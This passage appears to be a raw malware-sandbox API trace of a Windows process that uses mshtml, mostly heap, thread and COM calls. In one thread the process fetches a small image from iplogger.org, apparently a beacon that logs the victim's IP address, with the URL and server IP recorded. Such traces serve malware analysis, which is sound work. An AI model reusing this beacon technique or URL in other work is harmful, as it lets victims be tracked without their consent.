hHeap=0x510000, dwFlags=0x0, lpMem=0x5291c0 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560d00 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560d90 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560d48 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5747e8 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x558910 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x561528 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b788 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b7a0 | out: hHeap=0x510000) returned 1 [0055.737] GetCurrentThreadId () returned 0x86c [0055.737] DestroyWindow (hWnd=0x9001c) returned 1 [0055.737] NtdllDefWindowProc_W () returned 0x0 [0055.747] NtdllDefWindowProc_W () returned 0x0 [0055.747] NtdllDefWindowProc_W () returned 0x0 [0055.747] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.747] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544468 | out: hHeap=0x510000) returned 1 [0055.747] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d7f8 | out: hHeap=0x510000) returned 1 [0055.747] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.747] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.747] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.747] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b878 | out: hHeap=0x510000) returned 1 [0055.748] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.748] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5432a0 | out: hHeap=0x510000) returned 1 [0055.748] SetEvent (hEvent=0x17c) returned 1 [0055.750] GetCurrentThreadId () returned 0x86c [0055.750] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0x1388) returned 0x0 [0055.750] GetExitCodeThread (in: hThread=0x15c, lpExitCode=0x30f9dc | out: lpExitCode=0x30f9dc) returned 1 [0055.751] SetEvent (hEvent=0x154) returned 1 [0055.753] GetCurrentThreadId () returned 0x86c [0055.753] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x1388) returned 0x0 [0055.753] GetExitCodeThread (in: hThread=0x14c, lpExitCode=0x30f9d4 | out: lpExitCode=0x30f9d4) returned 1 [0055.753] CActiveIMMAppEx_Trident:IUnknown:Release (This=0x559668) returned 0x0 [0055.753] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.753] ReleaseActCtx (in: hActCtx=0x5437d4 | out: hActCtx=0x5437d4) [0055.753] FreeLibrary (hLibModule=0x721a0000) returned 1 [0055.753] FreeLibrary (hLibModule=0x721a0000) returned 1 [0055.753] UnregisterClassW (lpClassName=0xc096, hInstance=0x72c20000) returned 1 [0055.753] UnregisterClassW (lpClassName=0xc055, hInstance=0x72c20000) returned 1 [0055.753] OleUninitialize () [0055.754] DestroyWindow (hWnd=0x60268) returned 1 [0055.754] NtdllDefWindowProc_W () returned 0x0 [0055.754] PostQuitMessage (nExitCode=0) [0055.756] DllCanUnloadNow () returned 0x1 [0055.756] DllCanUnloadNow () returned 0x1 [0055.805] NtdllDefWindowProc_W () returned 0x0 [0055.805] FreeLibrary (hLibModule=0x72c20000) returned 1 [0055.806] GetModuleHandleA (lpModuleName="mscoree.dll") returned 0x0 [0055.806] ExitProcess (uExitCode=0x0) [0055.816] GetProcAddress (hModule=0x754b0000, lpProcName="UnregisterTraceGuids") returned 0x77379286 [0055.816] EtwUnregisterTraceGuids () returned 0x0 [0055.816] GetProcAddress (hModule=0x754b0000, lpProcName="UnregisterTraceGuids") returned 0x77379286 [0055.816] EtwUnregisterTraceGuids () returned 0x0 [0055.816] ??3@YAXPAX@Z () returned 0x1 [0055.817] free (_Block=0x3d880) [0055.845] GetCurrentThreadId () returned 0x86c [0055.845] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5334c8 | out: hHeap=0x510000) returned 1 [0055.845] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f480 | out: hHeap=0x510000) returned 1 [0055.845] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d200 | out: hHeap=0x510000) returned 1 [0055.845] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53ff68 | out: hHeap=0x510000) returned 1 [0055.845] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x550930 | out: hHeap=0x510000) returned 1 [0055.846] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x559298 | out: hHeap=0x510000) returned 1 [0055.846] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.846] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x598f90 | out: hHeap=0x510000) returned 1 [0055.846] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55fc00 | out: hHeap=0x510000) returned 1 [0055.846] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.846] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5732c0 | out: hHeap=0x510000) returned 1 [0055.846] DeleteObject (ho=0x20080794) returned 1 [0055.846] FlushViewOfFile (lpBaseAddress=0x1dc0000, dwNumberOfBytesToFlush=0x4000) returned 1 [0055.875] UnmapViewOfFile (lpBaseAddress=0x1dc0000) returned 1 [0055.876] CloseHandle (hObject=0x418) returned 1 [0055.876] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d230 | out: hHeap=0x510000) returned 1 [0055.876] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d1a0 | out: hHeap=0x510000) returned 1 [0055.877] EtwUnregisterTraceGuids () returned 0x0 [0055.877] EtwUnregisterTraceGuids () returned 0x0 [0055.877] EtwEventUnregister () returned 0x0 [0055.877] EtwEventUnregister () returned 0x0 [0055.877] CloseHandle (hObject=0xbc) returned 1 [0055.877] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0055.877] CloseHandle (hObject=0x100) returned 1 [0055.878] LocalFree (hMem=0x52ea28) returned 0x0 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533ea8 | out: hHeap=0x510000) returned 1 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e820 | out: hHeap=0x510000) returned 1 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x523dd0 | out: hHeap=0x510000) returned 1 [0055.878] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ea68 | out: hHeap=0x510000) returned 1 [0055.879] FreeLibrary (hLibModule=0x769d0000) returned 1 [0055.879] FreeLibrary (hLibModule=0x73f30000) returned 1 [0055.879] free (_Block=0x32640) Thread: id = 59 os_tid = 0x7b8 Thread: id = 61 os_tid = 0x8b0 [0041.760] GetCurrentThreadId () returned 0x8b0 [0041.760] LoadLibraryW (lpLibFileName="mshtml.dll") returned 0x72c20000 [0041.760] CoInitialize (pvReserved=0x0) returned 0x0 [0041.760] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0x927c0) returned 0x0 [0041.902] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1006) returned 0x580650 [0041.902] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4000) returned 0x581660 [0041.902] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x581660 | out: hHeap=0x510000) returned 1 [0041.902] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0x927c0) returned 0x0 [0055.748] CoUninitialize () [0055.749] FreeLibraryAndExitThread (hLibModule=0x72c20000, dwExitCode=0x0) [0055.749] GetCurrentThreadId () returned 0x8b0 Thread: id = 62 os_tid = 0x89c [0041.803] GetCurrentThreadId () returned 0x89c Thread: id = 66 os_tid = 0xae0 [0041.853] GetCurrentThreadId () returned 0xae0 [0044.856] IInternetProtocolSink:ReportProgress (This=0x54d784, ulStatusCode=0x20, szStatusText=0x0) returned 0x0 [0048.746] IInternetProtocolSink:ReportProgress (This=0x54d784, ulStatusCode=0x1, szStatusText="iplogger.info") returned 0x0 [0048.746] GetCurrentThreadId () returned 0xae0 [0048.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x42) returned 0x55e5e8 [0048.747] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55dff8 | out: hHeap=0x510000) returned 1 [0048.747] PostMessageW (hWnd=0x9001c, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0048.847] IInternetProtocolSink:ReportProgress (This=0x54d784, ulStatusCode=0x2, szStatusText="88.99.66.31") returned 0x0 [0048.847] GetCurrentThreadId () returned 0xae0 [0048.874] IInternetProtocolSink:ReportProgress (This=0x54d784, ulStatusCode=0xb, szStatusText=0x0) returned 0x0 [0048.904] IInternetProtocolSink:ReportProgress (This=0x54d784, ulStatusCode=0x3, szStatusText="https://iplogger.org/1v6v97.jpeg") returned 0x0 [0048.904] CreateUri (in: pwzURI="https://iplogger.org/1v6v97.jpeg", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x24ee5e0 | out: ppURI=0x24ee5e0*=0x58373c) returned 0x0 [0048.905] IUnknown:QueryInterface (in: This=0x574918, riid=0x72d99460*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x24ee5dc | out: ppvObject=0x24ee5dc*=0x57491c) returned 0x0 [0048.905] IWinInetHttpInfo:RemoteQueryInfo (in: This=0x57491c, dwOption=0x2d, pBuffer=0x24ee61c*=0x68, pcbBuf=0x24ee5d8*=0x10, pdwFlags=0x0, pdwReserved=0x0 | out: pBuffer=0x24ee61c*=0x47, pcbBuf=0x24ee5d8*=0x3, pdwFlags=0x0, pdwReserved=0x0) returned 0x0 [0048.905] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x599908 [0048.905] IUri:GetSchemeName (in: This=0x58373c, pbstrSchemeName=0x24ee570 | out: pbstrSchemeName=0x24ee570*="https") returned 0x0 [0048.905] _wcsnicmp (_String1="https", _String2="data", _MaxCount=0x5) returned 4 [0048.905] IUri:GetScheme (in: This=0x58373c, pdwScheme=0x24ee5bc | out: pdwScheme=0x24ee5bc*=0xb) returned 0x0 [0048.905] IUnknown:AddRef (This=0x58373c) returned 0x4 [0048.905] IUnknown:QueryInterface (in: This=0x58373c, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x24ee5b0 | out: ppvObject=0x24ee5b0*=0x58373c) returned 0x0 [0048.905] IUnknown:Release (This=0x58373c) returned 0x4 [0048.905] IUnknown:AddRef (This=0x58373c) returned 0x5 [0048.905] IUnknown:Release (This=0x57491c) returned 0x4 [0048.905] GetCurrentThreadId () returned 0xae0 [0048.905] CreateUri (in: pwzURI="https://iplogger.org/1v6v97.jpeg", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x24ee564 | out: ppURI=0x24ee564*=0x58373c) returned 0x0 [0048.906] IUnknown:AddRef (This=0x58373c) returned 0x7 [0048.906] IUnknown:QueryInterface (in: This=0x58373c, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x24ee544 | out: ppvObject=0x24ee544*=0x58373c) returned 0x0 [0048.906] IUnknown:Release (This=0x58373c) returned 0x7 [0048.906] IUnknown:AddRef (This=0x58373c) returned 0x8 [0048.906] IUnknown:Release (This=0x58373c) returned 0x7 [0048.906] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x46) returned 0x55e6d8 [0048.906] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x128) returned 0x599c30 [0048.906] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x599920 [0048.906] IUnknown:Release (This=0x53de34) returned 0xb [0048.906] IUnknown:Release (This=0x53de34) returned 0xa [0048.906] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0048.906] IUnknown:AddRef (This=0x58373c) returned 0x8 [0048.906] IUnknown:QueryInterface (in: This=0x58373c, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x24ee5b0 | out: ppvObject=0x24ee5b0*=0x58373c) returned 0x0 [0048.906] IUnknown:Release (This=0x58373c) returned 0x8 [0048.906] IUnknown:AddRef (This=0x58373c) returned 0x9 [0048.906] IUnknown:Release (This=0x58373c) returned 0x8 [0048.941] IInternetProtocolSink:ReportProgress (This=0x54d784, ulStatusCode=0x1, szStatusText="iplogger.org") returned 0x0 [0048.941] GetCurrentThreadId () returned 0xae0 [0048.951] IInternetProtocolSink:ReportProgress (This=0x54d784, ulStatusCode=0x2, szStatusText="88.99.66.31") returned 0x0 [0048.951] GetCurrentThreadId () returned 0xae0 [0049.418] IInternetProtocolSink:ReportProgress (This=0x54d784, ulStatusCode=0xb, szStatusText=0x0) returned 0x0 [0049.457] IInternetProtocolSink:ReportProgress (This=0x54d784, ulStatusCode=0x26, szStatusText=0x0) returned 0x0 [0049.458] IInternetProtocolSink:ReportProgress (This=0x54d784, ulStatusCode=0x27, szStatusText=0x0) returned 0x0 [0049.458] IHttpNegotiate:OnResponse (in: This=0x54d748, dwResponseCode=0xc8, szResponseHeaders="HTTP/1.1 200 OK\r\nServer: nginx\r\nDate: Fri, 07 Feb 2020 14:09:58 GMT\r\nContent-Type: image/png\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\nSet-Cookie: PHPSESSID=agijngqf5rqd4574pb37r6juc6; path=/; HttpOnly\r\nPragma: no-cache\r\nSet-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/\r\nCache-Control: no-cache\r\nExpires: Thu, 01 Jan 1970 00:00:01 GMT\r\nStrict-Transport-Security: max-age=31536000; preload\r\nX-Frame-Options: DENY\r\n\r\n", szRequestHeaders=0x0, pszAdditionalRequestHeaders=0x0 | out: pszAdditionalRequestHeaders=0x0) returned 0x0 [0049.458] IInternetProtocolSink:ReportProgress (This=0x54d784, ulStatusCode=0x1f, szStatusText="image/png") returned 0x0 [0049.459] RegisterClipboardFormatA (lpszFormat="text/html") returned 0xc16b [0049.459] RegisterClipboardFormatA (lpszFormat="text/plain") returned 0xc16a [0049.459] RegisterClipboardFormatA (lpszFormat="text/x-component") returned 0xc18f [0049.459] RegisterClipboardFormatA (lpszFormat="image/gif") returned 0xc175 [0049.459] RegisterClipboardFormatA (lpszFormat="image/jpeg") returned 0xc177 [0049.459] RegisterClipboardFormatA (lpszFormat="image/pjpeg") returned 0xc176 [0049.459] RegisterClipboardFormatA (lpszFormat="image/bmp") returned 0xc17b [0049.459] RegisterClipboardFormatA (lpszFormat="image/x-jg") returned 0xc17c [0049.459] RegisterClipboardFormatA (lpszFormat="image/x-art") returned 0xc17d [0049.459] RegisterClipboardFormatA (lpszFormat="image/x-wmf") returned 0xc17f [0049.459] RegisterClipboardFormatA (lpszFormat="image/x-emf") returned 0xc17e [0049.459] RegisterClipboardFormatA (lpszFormat="video/avi") returned 0xc181 [0049.459] RegisterClipboardFormatA (lpszFormat="video/x-msvideo") returned 0xc182 [0049.459] RegisterClipboardFormatA (lpszFormat="video/mpeg") returned 0xc183 [0049.459] RegisterClipboardFormatA (lpszFormat="video/quicktime") returned 0xc190 [0049.459] RegisterClipboardFormatA (lpszFormat="application/hta") returned 0xc191 [0049.459] RegisterClipboardFormatA (lpszFormat="image/x-png") returned 0xc179 [0049.459] RegisterClipboardFormatA (lpszFormat="image/png") returned 0xc17a [0049.459] RegisterClipboardFormatA (lpszFormat="image/x-icon") returned 0xc180 [0049.459] StrCmpNICW (lpStr1="image/pn", lpStr2="text/css", nChar=8) returned -11 [0049.459] IInternetProtocolSink:ReportData (This=0x54d784, grfBSCF=0x11, ulProgress=0x1, ulProgressMax=0x0) returned 0x0 [0049.459] IUnknown:QueryInterface (in: This=0x574918, riid=0x72d99460*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x24ee110 | out: ppvObject=0x24ee110*=0x57491c) returned 0x0 [0049.460] IWinInetHttpInfo:RemoteQueryInfo (in: This=0x57491c, dwOption=0x1, pBuffer=0x24ef0e8*=0x0, pcbBuf=0x24ee118*=0x100, pdwFlags=0x0, pdwReserved=0x0 | out: pBuffer=0x24ef0e8*=0x69, pcbBuf=0x24ee118*=0x9, pdwFlags=0x0, pdwReserved=0x0) returned 0x0 [0049.460] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x569fe0 [0049.460] IWinInetHttpInfo:RemoteQueryInfo (in: This=0x57491c, dwOption=0xffff, pBuffer=0x24eebe8*=0x78, pcbBuf=0x24ee118*=0x100, pdwFlags=0x0, pdwReserved=0x0 | out: pBuffer=0x24eebe8*=0x76, pcbBuf=0x24ee118*=0x4, pdwFlags=0x0, pdwReserved=0x0) returned 0x1 [0049.460] IWinInetHttpInfo:RemoteQueryInfo (in: This=0x57491c, dwOption=0x4000000b, pBuffer=0x24ee0dc*=0xbf, pcbBuf=0x24ee118*=0x10, pdwFlags=0x0, pdwReserved=0x0 | out: pBuffer=0x24ee0dc*=0x76, pcbBuf=0x24ee118*=0x4, pdwFlags=0x0, pdwReserved=0x0) returned 0x1 [0049.460] IWinInetHttpInfo:RemoteQueryInfo (in: This=0x57491c, dwOption=0x20000013, pBuffer=0x54d7f0*=0x0, pcbBuf=0x24ee118*=0x4, pdwFlags=0x0, pdwReserved=0x0 | out: pBuffer=0x54d7f0*=0xc8, pcbBuf=0x24ee118*=0x4, pdwFlags=0x0, pdwReserved=0x0) returned 0x0 [0049.460] IWinInetInfo:RemoteQueryOption (in: This=0x57491c, dwOption=0x17, pBuffer=0x24ee100*=0x18, pcbBuf=0x24ee118*=0x4 | out: pBuffer=0x24ee100*=0x40, pcbBuf=0x24ee118*=0x4) returned 0x0 [0049.460] IWinInetInfo:RemoteQueryOption (in: This=0x57491c, dwOption=0x1f, pBuffer=0x24ee100*=0x40, pcbBuf=0x24ee118*=0x4 | out: pBuffer=0x24ee100*=0x1, pcbBuf=0x24ee118*=0x4) returned 0x0 [0049.460] IUnknown:Release (This=0x57491c) returned 0x5 [0049.460] GetCurrentThreadId () returned 0xae0 [0049.460] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x46) returned 0x3c974f8 [0049.460] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x53b908 [0049.461] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4c) returned 0x3c37fd0 [0049.461] GetCurrentThreadId () returned 0xae0 [0049.461] GetCurrentThreadId () returned 0xae0 [0049.461] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58bcb8 | out: hHeap=0x510000) returned 1 [0049.461] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x42) returned 0x3c974a8 [0049.461] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e5e8 | out: hHeap=0x510000) returned 1 [0049.461] PostMessageW (hWnd=0x9001c, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0049.461] GetCurrentThreadId () returned 0xae0 [0049.461] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x200c) returned 0x3cafab0 [0049.462] IInternetProtocol:Read (in: This=0x574918, pv=0x3cafabc, cb=0x2000, pcbRead=0x24ef4dc | out: pv=0x3cafabc, pcbRead=0x24ef4dc*=0x74) returned 0x0 [0049.462] IInternetProtocol:Read (in: This=0x574918, pv=0x3cafb30, cb=0x1f8c, pcbRead=0x24ef4dc | out: pv=0x3cafb30, pcbRead=0x24ef4dc*=0x0) returned 0x1 [0049.462] IInternetProtocolSink:ReportData (This=0x54d784, grfBSCF=0x15, ulProgress=0x74, ulProgressMax=0x0) returned 0x0 [0049.462] IInternetProtocolSink:ReportResult (This=0x54d784, hrResult=0x0, dwError=0x0, szResult=0x0) returned 0x0 [0049.462] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100) returned 0x58bcb8 [0049.462] CoInternetIsFeatureEnabledForUrl (FeatureEntry=0x3, dwFlags=0x2, szURL="http://iplogger.info/1v6v97.jpeg", pSecMgr=0x0) returned 0x1 [0049.463] FindMimeFromData (in: pBC=0x0, pwzUrl=0x0, pBuffer=0x24ef3f0, cbSize=0x74, pwzMimeProposed="image/png", dwMimeFlags=0x2, ppwzMimeOut=0x24eefb8, dwReserved=0x0 | out: ppwzMimeOut=0x24eefb8*="image/x-png") returned 0x0 [0049.463] CoTaskMemFree (pv=0x56a300) [0049.463] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4a8) returned 0x3c7bc20 [0049.464] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x98) returned 0x3c3d540 [0049.464] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x154 [0049.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x72d4e718, lpParameter=0x3c3d540, dwCreationFlags=0x0, lpThreadId=0x3c3d554 | out: lpThreadId=0x3c3d554*=0xb54) returned 0x14c [0049.466] GetCurrentThreadId () returned 0xae0 [0049.466] SetEvent (hEvent=0x154) returned 1 [0049.466] GetCurrentThreadId () returned 0xae0 [0049.466] PostMessageW (hWnd=0x9001c, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 Thread: id = 67 os_tid = 0x80c [0041.853] GetCurrentThreadId () returned 0x80c Thread: id = 68 os_tid = 0x8c0 [0042.519] GetCurrentThreadId () returned 0x8c0 Thread: id = 69 os_tid = 0xbf4 [0042.623] GetCurrentThreadId () returned 0xbf4 Thread: id = 113 os_tid = 0x960 [0044.834] GetCurrentThreadId () returned 0x960 Thread: id = 157 os_tid = 0xb94 [0048.887] GetCurrentThreadId () returned 0xb94 Thread: id = 158 os_tid = 0xb8c [0048.971] GetCurrentThreadId () returned 0xb8c Thread: id = 159 os_tid = 0xb54 [0049.506] GetCurrentThreadId () returned 0xb54 [0049.506] LoadLibraryW (lpLibFileName="mshtml.dll") returned 0x72c20000 [0049.506] CoInitialize (pvReserved=0x0) returned 0x0 [0049.506] ConvertThreadToFiber (lpParameter=0x0) returned 0x3c7c0d0 [0049.506] CreateFiber (dwStackSize=0x8000, lpStartAddress=0x72da5cb1, lpParameter=0x3c3d59c) returned 0x3c85ae0 [0049.507] SwitchToFiber (lpFiber=0x3c85ae0) [0049.507] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5998d8 [0049.507] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x599758 [0049.507] LoadLibraryA (lpLibFileName="ImgUtil.dll") returned 0x73e40000 [0049.568] GetProcAddress (hModule=0x73e40000, lpProcName="DecodeImage") returned 0x73e421a5 [0049.568] DecodeImage () returned 0x0 [0049.648] CoTaskMemAlloc (cb=0x30) returned 0x3c916d0 [0049.649] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x60) returned 0x3c4c060 [0049.649] CreateCompatibleDC (hdc=0x0) returned 0xb01079e [0049.649] SetStretchBltMode (hdc=0xb01079e, mode=3) returned 1 [0049.649] CreateDIBSection (in: hdc=0xb01079e, lpbmi=0x40cebc8, usage=0x0, ppvBits=0x3c4c06c, hSection=0x0, offset=0x0 | out: ppvBits=0x3c4c06c) returned 0x630506a7 [0049.649] DeleteDC (hdc=0xb01079e) returned 1 [0049.649] GetProcAddress (hModule=0x73e40000, lpProcName="CreateDDrawSurfaceOnDIB") returned 0x73e429ad [0049.649] CreateDDrawSurfaceOnDIB () returned 0x0 [0049.650] PostMessageW (hWnd=0x9001c, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0049.650] IInternetProtocol:UnlockRequest (This=0x5998d8) returned 0x0 [0049.650] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58bcb8 | out: hHeap=0x510000) returned 1 [0049.650] IInternetProtocolRoot:Terminate (This=0x574918, dwOptions=0x0) returned 0x0 [0049.650] IUnknown:Release (This=0x54d748) returned 0x7 [0049.650] IUnknown:Release (This=0x54d748) returned 0x6 [0049.650] IUnknown:Release (This=0x54d74c) returned 0x5 [0049.650] IUnknown:Release (This=0x54d744) returned 0x4 [0049.651] IUnknown:Release (This=0x54d784) returned 0x3 [0049.651] IUnknown:Release (This=0x54d784) returned 0x2 [0049.651] GetCurrentThreadId () returned 0xb54 [0049.651] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55dc88 | out: hHeap=0x510000) returned 1 [0049.651] IBindStatusCallback:OnLowResource (This=0x5998d8, reserved=0x1) returned 0x0 [0049.651] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x599758 | out: hHeap=0x510000) returned 1 [0049.652] SwitchToFiber (lpFiber=0x3c7c0d0) [0049.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5998d8 | out: hHeap=0x510000) returned 1 [0049.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3cafab0 | out: hHeap=0x510000) returned 1 [0049.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3c37fd0 | out: hHeap=0x510000) returned 1 [0049.652] IUnknown:Release (This=0x58373c) returned 0x6 [0049.652] IUnknown:Release (This=0x58373c) returned 0x5 [0049.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.652] IUnknown:Release (This=0x574918) returned 0x1 [0049.652] IUnknown:Release (This=0x574918) returned 0x0 [0049.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ccd8 | out: hHeap=0x510000) returned 1 [0049.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: 